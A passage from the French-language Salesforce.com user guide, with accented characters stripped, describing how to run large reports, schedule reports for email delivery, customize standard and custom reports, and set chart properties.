Excution de rapports importants :
-

Si votre rapport renvoie plus de deux mille enregistrements, seuls les deux mille premiers enregistrements sont affichs.
Pour afficher la vue complte des rsultats du rapport, cliquez sur Exporter les dtails.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce simple test de saisie de texte empche les programmes
malveillants d'accder aux donnes de votre entreprise.
Pour passer ce test, les utilisateurs doivent saisir les deux mots affichs sur le plan dans la zone de test du plan,
puis cliquer sur le bouton Soumettre. Remarque : les mots saisis dans la zone de texte doivent tre spars par
un espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non
un programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie
test public de Turing compltement automatique ayant pour but de diffrencier les humains des ordinateurs.

Si votre rapport prend plus de 10 minutes, Salesforce.com annule le rapport. Essayez les mthodes suivantes pour
rduire la quantit de donnes dans votre rapport :

Filtrez vos propres enregistrements au lieu d'afficher tous les enregistrements.

Limitez ltendue des donnes une plage de dates spcifique.
Excluez les colonnes inutiles du rapport.
Masquer les dtails du rapport.

Entreprises utilisant des services : si vous disposez de l'autorisation Affect par services, vous pouvez configurer les options
du rapport pour y inclure les enregistrements d'un seul ou de tous les services. Les rapports dj vrifis (comme les comptes
Mes requtes ou Mon quipe de vente) incluent les enregistrements de tous les services. Si vous ne bnficiez pas de
l'autorisation Affect par services, vos rapports incluent les enregistrements de tous les services.
Organisations utilisant plusieurs devises : les montants des rapports sont affichs dans leurs devises d'origine, et les totaux
dans votre devise personnelle. Vous pouvez changer la devise utilise pour les totaux des rapports en slectionnant une
devise dans la liste droulante Afficher les devises en utilisant, dans la dernire page de l'Assistant de rapport. Pour tous
les montants, vous avez galement la possibilit d'afficher la colonne converti (par exemple : Chiffre d'affaires annuel
(converti)), qui permet d'afficher tous les montants en fonction de la devise slectionne dans la liste droulante Afficher
les devises en utilisant.

Rapports

Guide de l'utilisateur | Planification d'un rapport | 1713

Rsums 21 chiffres : les champs de rsum de rapport sous forme de tableau, de rsum et de rapport matriciel peuvent
afficher jusqu' 21 chiffres. Les champs de rsum de 21 chiffres s'affichent correctement, mais ne sont pas prcis au-del.

Voir aussi :
Prsentation des rapports
Page d'accueil des rapports
Dossiers de rapports standard
Personnalisation de l'onglet Rapports
Planification de l'actualisation d'un tableau de bord
Fiche de conseils : Optimisation de la performance des rapports

Planification d'un rapport

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour planifier des rapports

Planifier les rapports

Pour supprimer le rapport planifi, excutez :

Modifier toutes les donnes

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Vous pouvez planifier des rapports excuter et envoyer automatiquement les rsultats par e-mail au format HTML aux
utilisateurs Salesforce.com. Par exemple, vous pouvez planifier un rapport excuter chaque vendredi 15h00 et envoyer les
rsultats plusieurs utilisateurs Salesforce.com.
Pour planifier un rapport :
1. Dans l'onglet Rapports cliquez sur le nom du rapport ou cliquez sur Crer un nouveau rapport personnalis pour crer
un nouveau rapport. Pour plus d'informations, reportez-vous Cration d'un rapport personnalis la page 1718
2. Cliquez sur Excuter le rapport et choisissez Futures excutions de planification dans la liste droulante.
3. Si vous crez un rapport, Salesforce.com affiche la page Enregistrer le rapport :
a. Dans le champ Nom du rapport, entrez un nom pour le rapport.
b. Vous pouvez galement entrer une description du rapport.
c. Le champ Nom unique de rapport est automatiquement complt en fonction de la valeur du champ Nom du
rapport. Le nom est utilis comme identificateur unique pour faire rfrence au rapport lors de l'utilisation de l'API
Force.com. S'il est dfini, le champ Prfixe d'espace de noms affiche l'identificateur de package utilis par l'API
Force.com.
d. partir de la liste droulante Dossier de rapport, slectionnez le dossier dans lequel enregistrer le rapport. Pour
envoyer un rapport par e-mail d'autres utilisateurs, le rapport doit se trouver dans un dossier public avec des droits
d'accs accords aux autres utilisateurs. Ceci est requis car les autres utilisateurs ne peuvent pas accder des rapports
se trouvant dans vos dossiers personnels. Pour plus d'informations, reportez-vous Gestion des dossiers la page 573.

Rapports

Guide de l'utilisateur | Planification d'un rapport | 1714

e. Cliquez sur Enregistrer et poursuivre vers la planification.

4. Salesforce.com affiche la page Rapport de planification. L'utilisateur dans le champ Utilisateur actif dtermine le
niveau d'accs aux donnes du rapport. Ceci contourne tous les paramtres de scurit, en donnant tous les utilisateurs
pouvant visualiser le rapport, accs des donnes qu'ils ne pourraient pas visualiser autrement. Les rapports ne sont pas
excuts comme prvu si l'utilisateur dans le champ Utilisateur actif n'a pas accs au dossier dans lequel le rapport
est stock.
Remarque: Si l'utilisateur actuel spcifi est actif, un e-mail de notification est envoy tous les utilisateurs ayant
le profil Administrateur systme, ainsi qu' tous les utilisateurs disposant des trois autorisations suivantes : Grer
les utilisateur, Grer la facturation et Modifier toutes les donnes.
5. Slectionnez un paramtre de notification pour envoyer le rapport par e-mail l'heure programme :

Slectionnez moi pour envoyer le rapport l'adresse e-mail spcifie dans votre enregistrement d'utilisateur
Salesforce.com.
Slectionnez moi et/ou aux autres... pour envoyer le rapport par e-mail des utilisateurs supplmentaires.
Vous pouvez envoyer des rapports uniquement aux adresses de messagerie incluses dans les enregistrements d'utilisateur
Salesforce.com. Pour plus d'informations, reportez-vous Modification des utilisateurs la page 96.
Remarque: Les utilisateurs du Portail reoivent des notifications d'actualisation des rapports et des tableaux
de bord uniquement si l'option Autoriser l'envoi des rapports et des tableaux de bord
aux utilisateurs du portail est active.

6. Planifier le rapport :

Dans le champ Frquence, slectionnez la frquence d'excution du rapport. Slectionnez Tous les jours, Chaque
semaine ou Chaque mois puis affiner les critres de frquence.
Dans les champs Dmarrage et Fin, spcifiez les dates durant lesquelles vous souhaitez que le rapport soit planifi.
Pour entrer la date actuelle, cliquez sur le lien indiquant la date.
Vous devez slectionner une heure de dmarrage pour le rapport. En regard de Heure de dmarrage dsire,
cliquez sur Rechercher les options disponibles... pour choisir une heure de dmarrage.
L'heure que vous souhaitez peut ne pas tre disponible si d'autres utilisateurs l'ont dj slectionne pour planifier un
rapport.

7. Si vous avez apport des modifications la dfinition du rapport dans l'assistant de rapport avant de planifier celui-ci, vous
pouvez choisir d'enregistrer ou non toute modification de dfinition de rapport lorsque vous enregistrez la planification du
rapport. Pour enregistrer les modifications de dfinition du rapport, slectionnez Enregistrer les modifications
apportes au rapport avec cette planification. Pour ne pas tenir compte des modifications de dfinition
du rapport et enregistrer la planification du rapport, slectionnez Ignorer les modifications apportes au
rapport.
8. Cliquez sur Enregistrer la planification du rapport pour planifier le rapport.
Pour modifier la planification de l'excution d'un rapport :
1. Dans l'onglet Rapport, cliquez sur l'icne
en regard du rapport planifi.
2. Procdez aux changements ncessaires sur la page de dtails Rapport de planification.
3. Cliquez sur Enregistrer la planification du rapport.
Pour supprimer une planification de rapport :

Rapports

Guide de l'utilisateur | Planification d'un rapport | 1715

1. Dans l'onglet Rapport, cliquez sur l'icne

en regard du rapport planifi.
2. Cliquez sur Annuler la planification du rapport.
La planification du rapport est annule et n'est pas envoye vers la corbeille. Vous pouvez planifier nouveau le rapport
quand vous le souhaitez.
Remarque: Les utilisateurs disposant de l'autorisation Afficher la configuration peuvent afficher tous les rapports
planifis pour leur organisation dans la page Toutes les tches prvues. Pour afficher la page Toutes les tches prvues,
cliquez sur Configuration Surveillance Tches prvues. Les utilisateurs disposant de l'autorisation Modifier
toutes les donnes peuvent cliquer sur Suppr en regard d'un rapport planifi spcifique pour annuler la planification
du rapport.
Conseils sur la planification de rapports
Tenez compte des points suivants lors de la planification de l'excution d'un rapport :

Dans l'onglet Rapport, passez le curseur de la souris sur l'icne

pour consulter la frquence et le moment auquel un
rapport planifi doit s'excuter. Notez que des utilisateurs sans autorisation Rapports de planification ne peuvent pas voir
cette icne et ces informations.
Votre entreprise est limite un maximum de 200 rapports planifis et les ditions ont des limites quotidiennes diffrentes.
Pour plus d'informations, reportez-vous ditions Salesforce.com et limitations la page 932.
Les rapports planifis sont excuts selon le fuseau horaire de l'utilisateur qui planifie le rapport. Par exemple, si le champ
Fuseau horaire de votre enregistrement utilisateur est paramtr sur Europe Centrale et que vous planifiiez une
Excution de rapport chaque jour 14h00, le rapport sera actualis chaque jour entre 14h00 et 14h29, heure CET.
Si vous affichez et enregistrez une planification dans un fuseau horaire diffrent de celui dans lequel elle a t planifie, la
plage horaire peut changer. Par exemple, si un utilisateur planifie un rapport dans un fuseau horaire dont le dcalage ne
correspond pas une heure complte, puis un deuxime utilisateur affiche et enregistre la planification dans un fuseau
horaire dont le dcalage correspond une heure complte, la plage horaire peut tre arrondie l'heure la plus proche.
Si vous planifiez une excution de rapport un jour spcifique de chaque mois, le rapport ne sera excut que les mois
comprenant ce jour. Par exemple, si vous planifiez une excution de rapport le 31 de chaque mois, le rapport ne sera excut
que les mois comprenant 31 jours. Pour planifier l'excution d'un rapport le dernier jour de chaque mois, choisissez dernier
dans la liste droulante Jour de chaque mois.
Le rapport s'excute dans les 30 minutes suivant l'heure que vous avez slectionne comme Heure de dmarrage
dsire. Par exemple, si vous slectionnez 14h00 comme heure de dmarrage, le rapport peut s'excuter tout moment
entre 14h00 et 14h29, selon le nombre de rapports dont l'excution est planifie la mme heure.
Les rapports ne sont pas excuts comme prvu si l'utilisateur dans le champ Utilisateur actif n'a pas accs au dossier
dans lequel le rapport est stock. Pour plus d'informations, reportez-vous Gestion des dossiers la page 573. Vous devez
disposer de l'autorisation Afficher toutes les donnes pour spcifier un utilisateur actif autre que vous. Si vous ne disposez
pas de cette autorisation, vous pouvez :
-

Crer une planification avec vous-mme en tant qu'utilisateur actif.

Modifier une planification avec un utilisateur actif diffrent de vous-mme et l'enregistrer avec le mme utilisateur
actif, mais sans changer l'utilisateur actif.

La planification de rapport n'est pas suivie dans l'historique du journal d'audit.

Conseils sur l'envoi par e-mail de rapports planifis

Tenez compte des points suivants lorsque vous planifiez des rapports :

Pour envoyer un rapport par e-mail d'autres utilisateurs, le rapport doit se trouver dans un dossier public avec des droits
d'accs accords aux autres utilisateurs. Ceci est requis car les autres utilisateurs ne peuvent pas accder des rapports se
trouvant dans vos dossiers personnels. Pour plus d'informations, reportez-vous Gestion des dossiers la page 573.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1716

Les destinataires du rapport peuvent cliquer sur son nom dans les rapports envoys par e-mail pour se connecter
Salesforce.com et consulter directement le rapport.
Les graphiques ne sont pas inclus dans les rapports envoys par e-mail. Pour envoyer par e-mail le graphique d'un rapport,
crez un tableau de bord et planifiez son actualisation. Pour plus d'informations, reportez-vous Planification de
l'actualisation d'un tableau de bord la page 1371.
Limites concernant Outlook 2007 : Les e-mails de rapport comportant des tableaux de plus de 22 pouces (56 cm) de largeur
ou comportant plus de 63 colonnes peuvent ne pas s'afficher correctement.
La taille maximale des rapports envoys par e-mail est de 10 Mo. Essayez les mthodes suivantes pour rduire la quantit
de donnes dans votre rapport :
-

Filtrez vos propres enregistrements au lieu d'afficher tous les enregistrements.

Limitez ltendue des donnes une plage de dates spcifique.
Excluez les colonnes inutiles du rapport.
Masquer les dtails du rapport.

Personnalisation des rapports

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Vous pouvez personnaliser les rapports standard ou laborer intgralement des rapports qui correspondent trs exactement
aux besoins de votre organisation. Pour plus de dtails, reportez-vous :

Personnalisation des rapports standard

Cration d'un rapport personnalis

Les utilisateurs disposant de l'autorisation Grer les Instantans analytiques peuvent programmer l'excution d'un rapport
tabulaire ou rcapitulatif et enregistrer les rsultats du rapport dans les champs d'un objet personnalis. Grce aux instantans
analytiques, vous pouvez mapper des champs d'un rapport source vers des champs d'un objet cible, et programmer le moment
d'excution afin de renseigner les champs de l'objet personnalis avec les donnes du rapport. Les instantans analytiques
permettent d'utiliser les donnes d'un rapport de la mme manire que les autres enregistrements dans Salesforce.com. Pour
plus de dtails, reportez-vous :

Qu'est-ce qu'un instantan analytique ?

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1717

Configuration d'instantans analytiques

Voir aussi :
Options de rapport supplmentaires
laboration de formules rcapitulatives personnalises
Fiche de conseils : Astuces et conseils pour les rapports personnaliss
Fiche de conseils : Optimisation de la performance des rapports

Personnalisation des rapports standard

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser les rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
1. Slectionnez le sous-onglet Tous les rapports ou Rapports rcents dans l'onglet Rapports. Le sous-onglet Tous les rapports
rpertorie tous les rapports accessibles. Le sous-onglet Rapports rcents contient la liste des rapports rcemment affichs
par vous-mme et les autres utilisateurs. Si vous slectionnez le sous-onglet Tous les rapports, dveloppez un dossier de
rapport. Pour ce faire, cliquez sur la flche en regard du nom du dossier.
2. Cliquez sur Modifier en regard du nom du rapport personnaliser.
Vous pouvez galement cliquer sur le nom du rapport pour l'afficher, puis cliquer sur Personnalisation. La plupart des
rapports s'excute automatiquement lorsque vous cliquez sur le nom du rapport dans l'onglet Rapports. Cependant, certains
rapports peuvent vous demander de slectionner des informations supplmentaires avant de s'excuter, alors que d'autres
peuvent vous demander, au dpart, d'excuter l'Assistant de rapport en totalit.
3. Suivez chacune des tapes de l'Assistant de rapport en cliquant sur le bouton Suivant. Reportez-vous aux options de
personnalisation de l'Assistant de rapport.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1718

Cration d'un rapport personnalis

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des rapports personnaliss :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Pour crer un rapport personnalis l'aide de l'assistant de gnration de rapports personnaliss :
1. Dans l'onglet Rapports, slectionnez le bouton Crer un nouveau rapport personnalis.
2. Slectionnez le type de donnes pour le rapport crer, puis cliquez sur Suivant.
Pour crer des rapports sur des objets personnaliss, choisissez Autres rapports comme catgorie de types de rapport, sauf
si l'objet personnalis a une relation avec un objet standard. Si l'objet personnalis a une relation principal-dtails avec un
objet standard ou reprsente un objet de recherche sur un objet standard, choisissez l'objet standard pour la catgorie de
types de rapport.
3. Slectionnez le format du rapport :
Format

Description

Tableau

Les Rapports tabulaires reprsentent la mthode la plus rapide et la plus simple pour consulter les
donnes. Semblables une feuille de calcul, ils sont composs d'une srie organise de colonnes qui
prsentent chaque enregistrement correspondant sur une ligne. Ils ne peuvent pas tre utiliss pour
crer des groupes de donnes ou des diagrammes. Utilisez ce type pour des rapports gnrs partir
de donnes telles que les listes de publipostage et les activits.

Rsum

Les Rapports rcapitulatifs sont similaires aux rapports tabulaires, sauf qu'ils autorisent galement les
utilisateurs regrouper les lignes de donnes, afficher des sous-totaux et crer des graphiques. Ils
peuvent tre utiliss dans des tableaux de bord. Utilisez ce type d'enregistrement pour afficher des
sous-totaux bass sur la valeur d'un champ spcifique ou lorsque vous souhaitez crer une liste
hirarchique, par exemple toutes les opportunits de votre quipe, avec les sous-totaux tape et
Responsable.

Matrice

Les Rapports matriciels synthtisent les donnes dans une grille. Ils peuvent tre utiliss dans des
tableaux de bord. Utilisez ce type de rapport pour comparer des totaux associs, notamment si vous
avez des volumes importants de donnes synthtiser et que vous souhaitez comparer des valeurs de
champs diffrents, ou si vous souhaitez consulter les donnes par date et par produit, par personne
ou par emplacement gographique.

4. Suivez chacune des tapes de l'assistant en cliquant sur le bouton Suivant. Pour chaque rapport, personnalisez les lments
suivants :

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1719

Indiquez les en-ttes de ligne et de colonne : Dans la page Slectionnez le regroupement des rcapitulatifs et rapports
matriciels, choisissez les champs en fonction desquels vous voulez regrouper les donnes et calculer les sous-totaux
correspondants. Dans un rcapitulatif, la slection de plusieurs champs de tri vous permet d'effectuer un tri secondaire
de vos donnes. Pour des rapports matriciels, slectionnez les champs de rsum correspondant aux tiquettes de ligne
et aux en-ttes de colonne. Au moment d'effectuer un regroupement par champ de date, vous pouvez dcider d'un
regroupement des donnes par priode, par exemple par jour, semaine, mois.
Rsumez les donnes : Dans la page Slectionnez les colonnes analyser, choisissez les types d'informations de synthse
afficher dans les champs numriques.
laborez des formules rcapitulatives personnalises : Dans la page Slectionnez les colonnes analyser pour les
rcapitulatifs et rapports matriciels, crez des formules rcapitulatives personnalises, pour calculer les totaux
supplmentaires partir des rcapitulatifs existants dans le rapport concern. Une formule est un algorithme dont la
valeur est issue d'autres champs, expressions ou valeurs. Reportez-vous laboration de formules rcapitulatives
personnalises la page 1729.
Choisissez les champs : Dans la page Slectionnez les colonnes, choisissez les champs afficher dans le rapport. Vous
pouvez uniquement afficher les champs visibles dans votre prsentation de page et avec vos paramtres de scurit au
niveau du champ. Si vous choisissez le champ Description ou tout autre champ de texte long, seuls les 255 premiers
caractres s'affichent.
Triez les colonnes : Dans la page Triez les colonnes, slectionnez l'ordre d'affichage des champs choisis.
Limitez les rsultats d'un rapport : Dans la page Slectionnez les critres, slectionnez les paramtres adquats dans
les listes droulantes, puis utilisez les options de filtre pour limiter le rapport aux enregistrements contenant des donnes
spcifiques. Reportez-vous Saisie des critres de filtre la page 1736 pour plus d'informations.
Notez que, pour limiter le nombre d'enregistrements affichs dans les rsultats de rapports prsents sous forme de
tableau, vous pouvez slectionner une valeur dans la liste droulanteLignes afficher sur la page Slectionnez
les critres de l'assistant de gnration de rapports. Si vous slectionnez Personnaliser dans la liste droulante Lignes
afficher, vous pouvez entrer un nombre spcifique d'enregistrements afficher dans les rsultats de rapport.
Lorsque vous limitez le nombre d'enregistrements affichs dans les rsultats de rapports prsents sous forme de tableau,
vous devez slectionner un champ et l'ordre de tri des rsultats. Une fois les rsultats du rapport limits l'aide de
Lignes afficher, vous pouvez utiliser le rapport sous forme de tableau en tant que source d'un composant du
tableau de bord. Commencez par limiter le nombre de lignes, puis, dans l'assistant de gnration de rapports, dfinissez
les colonnes disponibles dans le tableau de bord.
La liste droulante Lignes afficher de la page Slectionnez les critres de l'assistant de rapports affiche uniquement
les champs de l'objet principal dans les rapports crs partir de types de rapport o un objet A peut ou non avoir un
objet B. Par exemple, dans un compte avec ou sans rapport de contacts, seuls les champs des comptes s'affichent dans
la liste droulante Lignes afficher. De plus, la liste droulante Lignes afficher n'affiche pas les champs
des objets aprs une association ventuelle sur les types de rapport personnaliss. Par exemple, dans un compte contenant
des contacts avec ou sans rapport de requte, seuls les champs des comptes et des contacts s'affichent dans la liste
droulante Lignes afficher. Pour plus d'informations, reportez-vous Slection des relations d'objet qui
apparaissent sur les rapports crs partir de types de rapport personnalis la page 1763.
Conseil: Vous pouvez crer un tableau de bord partir d'un rapport prsent sous forme de tableau, condition
que le nombre d'enregistrements de ce dernier soit limit. Enregistrez d'abord le rapport, puis modifiez les
paramtres Composants du tableau de bord sur la page Triez les colonnes du rapport. Notez que vous ne pouvez
pas utiliser les types de composant d'indicateur ou de mesure dans les tableaux de bord crs partir de rapports
dont le nombre d'enregistrements est limit.

Reprsentez les donnes sous forme de rapport : l'tape Slectionnez le type de graphique et les points forts du
rapport dans l'assistant de rapport, choisissez les proprits du graphique pour afficher les donnes de votre rapport
dans un graphique. Les graphiques sont disponibles pour les rcapitulatifs et les rapports matriciels uniquement.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1720

Conseil: Un graphique ne renvoie parfois aucun rsultat. Si aucun rsultat ne s'affiche, vrifiez les conditions
suivantes pour le rapport :
-

Le rapport n'a renvoy aucune donne. Vrifiez vos critres de filtre pour vous assurer que des donnes sont
renvoyes.
En raison de la scurit au niveau du champ, vous n'avez pas accs l'un des regroupements slectionn.
Le contexte de votre formule rcapitulative personnalise ne correspond pas aux paramtres du graphique.
Par exemple, si la formule est calcule pour Industrie et que le graphique ne contient pas Industrie, aucun
rsultat n'est renvoy.
Vos valeurs sont dpassent les valeurs acceptables. La valeur maximale autorise est 999999999999999. La
valeur minimale autorise est -99999999999999.

5. Cliquez sur Excuter le rapport pour afficher le rapport ou sur Exporter les dtails pour enregistrer le rapport dans un
fichier Excel ou un autre format. Pour connatre d'autres modes de personnalisation de votre rapport, reportez--vous
Options de rapport supplmentaires la page 1731.
Remarque: Pour des raisons de scurit, Salesforce.com peut inviter les utilisateurs passer un test de vrification
avant d'exporter les donnes de leur organisation. Ce simple test de saisie de texte empche les programmes
malveillants d'accder aux donnes de votre entreprise.
Pour passer ce test, les utilisateurs doivent saisir les deux mots affichs sur le plan dans la zone de test du plan, puis
cliquer sur le bouton Soumettre. Notez que les mots saisis dans la zone de texte doivent tre spars par un espace.
Salesforce.com utillise la technologie CAPTCHA fournie par reCaptcha pour vrifier qu'une personne, et non un
programme automatis, a correctement saisi le texte dans le plan. CAPTCHA est un acronyme qui signifie test
public de Turing compltement automatique ayant pour but de diffrencier les humains des ordinateurs.
Conseil: La personnalisation de vos rapports peut ncessiter leur excution un certain nombre de fois lorsque vous
rglez les options et critres correspondants. Nous vous recommandons d'utiliser un filtre permettant de rduire
l'chantillonnage des donnes jusqu' la fin de la personnalisation du rapport et son enregistrement.

Voir aussi :
Options de rapport supplmentaires
Personnalisation des rapports
Options personnalises des rapports
Personnalisation des proprits des graphiques
Utilisation de graphiques de combinaison

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1721

Personnalisation des proprits des graphiques

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer des rapports personnaliss :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Vous pouvez ajouter un graphique tout rcapitulatif standard ou personnalis ou tout rapport matriciel. Pour personnaliser
les proprits de graphiques standard ou personnaliss :
1. Modifiez un rapport matriciel ou rcapitulatif.
2. Dans la liste droulante Aller l'tape, slectionnez Slectionner le type de graphique et les points forts.
3. l'tape Slectionner le type de graphique et les points forts du rapport de l'assistant de rapport, personnalisez les proprits
de graphique.
Paramtres de graphique
Pour personnaliser le type de graphique, les axes, les regroupements, les valeurs, les segments et les sections, dfinissez les
proprits suivantes :
Proprit de graphique

Description

Type de graphique

Slectionnez le type de graphique utiliser lors de la reprsentation des donnes dans votre
rapport. Le type de graphique que vous slectionnez dtermine les proprits dfinir disponibles.

Axe Y

Choisissez le type de donnes afficher sur l'axe Y de votre graphique. Ceci s'applique uniquement
aux graphiques en courbes et en colonnes. Activez l'option Afficher l'tiquette de
l'axe pour afficher cette tiquette sur l'axe Y.
Remarque: Si l'axe Y correspond une formule rcapitulative personnalise dont l'option
Emplacement d'affichage de cette formule est dfinie un niveau de
regroupement diffrent de Tous les niveaux rcapitulatifs, l'axe X et la
slection Regroupements dans l'assistant de gnration de rapports doit correspondre au
niveau de regroupement de cette formule rcapitulative personnalise.

Axe X

Choisissez le type de donnes afficher sur l'axe X de votre graphique. Ceci s'applique uniquement
aux graphiques en barres. Activez l'option Afficher l'tiquette de l'axe pour afficher
cette tiquette sur l'axe X.

Graphique de
combinaison

Activez cette option pour tracer des valeurs supplmentaires dans ce graphique. Le type de
graphique que vous choisissez doit autoriser les graphiques de combinaison. Dans la liste droulante
Afficher comme, slectionnez une option pour ajouter une courbe, une courbe de cumul, des
colonnes ou des barres votre graphique. Les options disponibles diffrent selon le type de
graphique. Utilisez les Valeurs de la liste droulante pour spcifier chaque valeur supplmentaire
tracer dans le graphique.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1722

Proprit de graphique

Description

Pour des colonnes ou des barres, cliquez sur Ajouter un autre ensemble afin d'ajouter jusqu'
trois ensembles.
Lors de l'ajout d'une ligne un graphique colonnes verticales, slectionnez Utiliser un
deuxime axe pour afficher des axes spars sur la ligne ajoute droite du graphique
colonnes. Un axe spar permet de distinguer des valeurs qui comprennent diffrentes plages
ou units.
Remarque: La slection de l'option Utiliser un deuxime axe augmente le nombre
de valeurs disponibles dans la liste droulante Valeurs. Sans cette option, vous
pouvez slectionner uniquement des valeurs du mme type que l'axe Y principal, par
exemple nombre, devise ou pourcentage. Cette option est disponible pour certains
graphiques de combinaison seulement.

L'aperu du graphique est mis jour durant la configuration de votre graphique de combinaison.
Regroupements

Choisissez le type de donnes utiliser pour regrouper des informations dans votre graphique.
Ceci s'applique uniquement certains types de graphiques.

Valeurs

Choisissez le type de donnes afficher comme valeurs dans votre graphique secteurs, en anneau
ou en entonnoir. Disponible uniquement avec Chart Analytics 2.0.

Sections

Choisissez le type de donnes afficher comme sections dans votre graphique secteurs ou en
anneau. Disponible uniquement avec Chart Analytics 2.0.

Segments

Choisissez le type de donnes afficher comme segments dans votre graphique en entonnoir.
Disponible uniquement avec Chart Analytics 2.0.

Conseil:

Il est possible de personnaliser la prcision de dcimales dans les graphiques. Dans Chart Analytics 2.0, les valeurs
numriques et de devise sont arrondies deux dcimales. Les valeurs en pourcentage sont arrondies une dcimale.
Dans l'ancien moteur de gnration de graphiques, toutes les valeurs sont arrondies une dcimale.
Si les valeurs numriques sont trop grandes ou trop petites, elles s'affichent en notation scientifique. Par exemple,
le chiffre 5 750 000 000 est affich 5,75E9 et -0,0000000061 est affich -6,1E-9.
Les valeurs ngatives sont affiches dans tous les graphiques en courbes et dans les graphiques barres et colonnes
non empiles. Dans les graphiques secteurs, en anneau, en entonnoir et empils, les valeurs ngatives ne sont pas
affiches. Les regroupements contenant des valeurs ngatives sont affichs dans la lgende et les valeurs ngatives
sont refltes dans le calcul de toutes les valeurs rcapitulatives, y compris le total des graphiques en anneau.
Lors de la cration de graphiques, ne regroupez pas par un champ d'objet enfant et ne faites pas la somme par un
champ d'objet parent. Cette pratique est imprcise. Dans un graphique en anneau, le total affich risque d'tre
diffrent de la somme des secteurs.
Un graphique peut inclure plus de 250 groupes ou 4 000 valeurs. Si un message d'erreur indique que le nombre de
groupes ou de valeurs tracer dans votre graphique est trop important, ajustez les filtres du rapport afin de rduire
ce nombre. Dans les graphiques de combinaison, tous les groupes et valeurs sont inclus dans le total.

Prsentation d'un graphique

Pour personnaliser les couleurs, l'arrire-plan, le texte, la taille de texte, l'emplacement de la lgende, les plages d'axe et les
tiquettes de donnes dans les graphiques, dfinissez les proprits de prsentation suivantes :

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1723

Proprit de graphique

Description

Taille

Slectionnez la taille du graphique.

Emplacement

Indiquez l'emplacement du graphique dans votre rapport.

Couleur du titre

Slectionnez la couleur du titre de votre graphique.

Taille du titre

Slectionnez la taille de police du titre de votre graphique. Dans Chart Analytics 2.0, la taille
maximale est de 18 points. Les plus grandes valeurs sont affiches en 18 points.

Titre du graphique

Saisissez le nom du graphique.

Couleur du texte

Slectionnez la couleur du texte et des tiquettes dans votre graphique.

Taille du texte

Slectionnez la taille de police du texte et des tiquettes dans votre graphique. Dans Chart
Analytics 2.0, la taille maximale est de 18 points. Les plus grandes valeurs sont affiches en 18
points.

Fondu en
arrire-plan

Choisissez le sens du dgrad de couleurs en arrire-plan. Slectionnez galement une Couleur

de dpart et une Couleur de fin pour le dgrad. Utilisez le blanc si vous ne souhaitez
pas appliquer de dgrad.

Position de la
lgende

Choisissez l'emplacement de la lgende dans votre graphique.

Combiner les petits Combinez tous les groupes infrieurs ou gaux 3 % du total dans un seul secteur ou segment
groupes dans Autres Autres . Dsactivez cette option pour afficher toutes les valeurs individuelles dans le graphique.

Elle s'applique uniquement aux graphiques secteurs, en anneau ou en entonnoir. Par dfaut,
cette option est active dans les graphiques secteurs et en anneau, et dsactive dans les graphiques
en entonnoir. Disponible uniquement avec Chart Analytics 2.0.
Plage d'axe X ou Y

Choisissez une plage d'axe manuelle ou automatique pour les graphiques barres, en courbes ou
colonnes. Si vous choisissez une plage d'axe manuelle, entrez les valeurs minimale et maximale
de la plage d'axe afficher. Si des points de donnes se situent hors de la page dfinie, l'axe
s'agrandit automatiquement pour inclure ces valeurs lors de la gnration du graphique.

Afficher
l'tiquette de
l'axe

Affichez les tiquettes de chaque axe de votre graphique. Ceci s'applique uniquement aux
graphiques en barres et en courbes.

Afficher les
tiquettes

Affichez les tiquettes de votre graphique secteurs, en anneau ou en entonnoir. Disponible

uniquement avec Chart Analytics 2.0.

Afficher le % de
groupes

Affichez la valeur en pourcentage de chaque groupe dans le graphique. Disponible uniquement

avec Chart Analytics 2.0.

Afficher les
valeurs de l'axe X
ou Y

Affichez les valeurs d'enregistrements individuels ou de groupes dans les axes du graphique.
Applicable uniquement certains graphiques en barres horizontales et en colonnes verticales.
Disponible uniquement avec Chart Analytics 2.0.

Afficher les
valeurs

Affichez les valeurs d'enregistrements individuels ou de groupes dans le graphique. Ceci s'applique
uniquement certains types de graphiques. Disponible uniquement avec Chart Analytics 2.0.

Afficher le % de
sections

Affichez la valeur en pourcentage de chaque section de graphiques secteurs ou en anneau.

Disponible uniquement avec Chart Analytics 2.0.

Afficher le total

Affichez la valeur du total dans le graphique en anneau. Disponible uniquement avec Chart
Analytics 2.0.

Rapports

Guide de l'utilisateur | Personnalisation des rapports | 1724

Proprit de graphique

Description

Afficher le % de
segments

Affichez la valeur en pourcentage de chaque segment dans les graphiques en entonnoir. Disponible
uniquement avec Chart Analytics 2.0.

Afficher les
dtails lors du
survol

